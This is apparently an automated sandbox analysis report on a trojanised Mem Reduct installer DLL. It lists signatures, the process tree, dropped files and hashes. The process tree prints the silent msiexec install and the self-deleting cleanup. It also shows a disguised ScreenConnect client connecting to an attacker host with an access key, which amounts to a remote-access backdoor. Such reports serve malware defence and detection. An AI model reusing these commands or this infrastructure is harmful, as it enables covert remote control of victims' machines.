Analysis

  • max time kernel
    148s
  • max time network
    135s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    06/07/2026, 12:44

General

  • Target
    memreduct/dsetup.dll
  • Size 13.8MB
  • Sample260706-pygrlabs7l
  • SHA256 351feb2f629cc9b6c4da4f47a12aaa2dd5016b8fb609d6a574c706d45c166052
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 24 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 26 IoCs
  • Drops file in Windows directory 27 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\memreduct\dsetup.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1000
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\memreduct\dsetup.dll,#1
      2⤵
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1476
      • C:\Users\Admin\AppData\Local\Temp\0e67faa5.exe
        "C:\Users\Admin\AppData\Local\Temp\0e67faa5.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Drops file in Program Files directory
        • System Location Discovery: System Language Discovery
        PID:5980
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\DXUPDA~1.MSI /qn REBOOT=ReallySuppress & del /f /q C:\Users\Admin\AppData\Local\Temp\DXUPDA~1.MSI
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5680
        • C:\Windows\SysWOW64\msiexec.exe
          msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\DXUPDA~1.MSI /qn REBOOT=ReallySuppress
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:1088
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1476 -s 612
        3⤵
        • Program crash
        PID:2904
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 1476 -ip 1476
    1⤵
      PID:3216
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5612
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding F63FF40FAFE3413FF2B42B23FD0A3B78
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1232
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSI1860.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240720062 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:3308
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 417F0225BF17C410D9B4E4B526974A25 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:1228
    • C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=def.filegit.com&p=8041&s=e6120f69-247d-4d16-af0d-698de4097b61&k=BgIAAACkAABSU0ExAAgAAAEAAQA16%2fTGkJuKzmPRwtRqFIPq13C%2fhtZf5v2d0VocPf2i%2b3Qx5O2NsVXQpvw%2bDd9crifO7s0xDarU2tV5Mfx%2fAFHd8Uk5q%2fFEcKbao%2fNyt1sCKoWPxRwGPNazIErFVLdUTQAwUAHFFsH%2fAI%2bRLJhl53QVgHaYcZAhLsW0gJdUEjQokrPA7dQtgjAToq%2bBOT0FoIQceYrnMpYerjcVsThac04E%2beYcPVy%2fX3y4P%2bFdCGFMSFmkoBtL9mQV1YSVfKuOD5dmo4kAFnoInvt2ZKpqL0zIbLs5ws5B56lGEuu17ZB9lCWs%2bcL2UUa4OP9AG%2bb%2bkZEMbgRLYySi4kViPUQndES6&c=memreduct&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5772
      • C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsClient.exe" "RunRole" "208dda66-ec91-44b6-9580-2e670b430bb9" "User"
        2⤵
        • Executes dropped EXE
        PID:432
      • C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsClient.exe" "RunRole" "e324e65c-eff5-4db8-849a-2ed706868d0c" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:3972

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e591602.rbs

          • Path C:\Config.Msi\e591602.rbs
          • Size 213KB
          • SHA256 ff359b4091505ceccd2118b1fb12314f7b46625572ca2ff08e4fd7476ead57bd
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\MSCppRuntime9\Client.Override.en-US.resources
          • Size 290B
          • SHA256 d40224a36d0b67c26b0198ca2bbba3ffc1001a972c7b27c245b3e6eb9f505f9e
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\MSCppRuntime9\Client.Override.resources
          • Size 3KB
          • SHA256 58769c71d6b2af83125bc16d293c0deee45d82a3f2ffe8ba47b6b8d1f63bb8ba
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\MSCppRuntime9\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\MSCppRuntime9\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 33f8abd5722ab19aeacfe24319cda4433b0bf9b482dad4865685975c11c15534
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.ClientService.dll
          • Size 67KB
          • SHA256 554ba93c3c34fc5cf6cb49ac7285069e853aa5543219e012bf0e9ca4400c3255
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 4fe150116089d55c48748a97985f1d18054db5758020b193ad31d63e849b57f6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 465e9cee277db463677b2b593809e794279d64314b4fa736aa93780a0f7e3975
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\MSCppRuntime9\app.config
          • Size 2KB
          • SHA256 8fea0b2e7ba414ba5e3f1650676f1d1fbaf46595b58e218a521a83887afc7106
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\MSCppRuntime9\system.config
          • Size 953B
          • SHA256 da6f036a9d7705c08ecbe6b5cba9535c2e79322e2b03cefe2e78033102f607df
          • MD5 SHA1 SHA512 TLSH

          memreduct.exe

          • Path C:\Program Files\Mem Reduct\memreduct.exe
          • Size 387KB
          • SHA256 dd55a81d56e8c32918e5190b2ec2a1f2a7edbbca884627439b4b619fdfb5602d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          uninstall.exe

          • Path C:\Program Files\Mem Reduct\uninstall.exe
          • Size 52KB
          • SHA256 8e42bae39f4f25d697a080b3fd9b576cd524e38a27c7e8ed2e53b7b42f5367eb
          • MD5 SHA1 SHA512 SSDEEP TLSH

          0e67faa5.exe

          • Path C:\Users\Admin\AppData\Local\Temp\0e67faa5.exe
          • Size 372KB
          • SHA256 025e5c06f7beccf5c85cbe931bc058f53a4642ca83a00855a475026a5e6334c4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          DXUPDA~1.MSI

          • Path C:\Users\Admin\AppData\Local\Temp\DXUPDA~1.MSI
          • Size 12.8MB
          • SHA256 58a48c538f1757b03eada9527b5d186149dcd35f348e4e5b7b0dbab2acce26d5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          System.dll

          • Path C:\Users\Admin\AppData\Local\Temp\nsb1229.tmp\System.dll
          • Size 12KB
          • SHA256 8b4c47c4cf5e76ec57dd5a050d5acd832a0d532ee875d7b44f6cdaf68f90d37c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          modern-wizard.bmp

          • Path C:\Users\Admin\AppData\Local\Temp\nsb1229.tmp\modern-wizard.bmp
          • Size 150KB
          • SHA256 411961864a8edb7cc2ba384e702bbb787040ea47488d2cefc2ef2c6f0a55a832
          • MD5 SHA1 SHA512 SSDEEP TLSH

          nsDialogs.dll

          • Path C:\Users\Admin\AppData\Local\Temp\nsb1229.tmp\nsDialogs.dll
          • Size 9KB
          • SHA256 b1350f487692057c8ffde75dcc55287a52a3272240d4d4912f24464b27551fc0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI1860.tmp

          • Path C:\Windows\Installer\MSI1860.tmp
          • Size 1.0MB
          • SHA256 64ddf83b4acb09b518518e07a8ffd0446d256ff842c113efa1cdb6378fdf1018
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSI1860.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSI1860.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 51d9dcd755a424b8b3122350bbcc02d453880c39636fb1e0265084161afca983
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSI1860.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 8f4a00b34720f19b0e67dc957085ad1986e58bb16a1abcc580dab21bcd61382d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSI1860.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 602a640e2d9f94acfe47d3946f7dd088992431e24b670d40233e1ae6e9e270ad
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI1F29.tmp

          • Path C:\Windows\Installer\MSI1F29.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/432-149-0x00000000023A0000-0x00000000023B8000-memory.dmp

          memory/432-146-0x000000001B220000-0x000000001B2AE000-memory.dmp

          memory/432-150-0x0000000002440000-0x0000000002458000-memory.dmp

          memory/432-147-0x000000001B460000-0x000000001B60C000-memory.dmp

          memory/432-144-0x00000000001D0000-0x0000000000268000-memory.dmp

          memory/432-145-0x0000000002400000-0x0000000002436000-memory.dmp

          memory/432-148-0x000000001B610000-0x000000001B798000-memory.dmp

          memory/3308-59-0x00000000061A0000-0x000000000622E000-memory.dmp

          memory/3308-63-0x00000000063E0000-0x000000000658C000-memory.dmp

          memory/3308-64-0x0000000006B50000-0x000000000710A000-memory.dmp

          memory/3308-55-0x0000000006050000-0x000000000605A000-memory.dmp

          memory/3308-51-0x0000000006060000-0x000000000608E000-memory.dmp

          memory/3972-152-0x0000000001170000-0x00000000011B1000-memory.dmp

          memory/5612-153-0x000001B1812A0000-0x000001B181C44000-memory.dmp

          memory/5772-129-0x0000000003FB0000-0x0000000004042000-memory.dmp

          memory/5772-133-0x00000000041A0000-0x0000000004275000-memory.dmp

          memory/5772-116-0x0000000003E80000-0x0000000003ED0000-memory.dmp

          memory/5772-131-0x0000000003F10000-0x0000000003F51000-memory.dmp

          memory/5772-124-0x0000000003ED0000-0x0000000003F06000-memory.dmp

          memory/5772-103-0x0000000003960000-0x0000000003978000-memory.dmp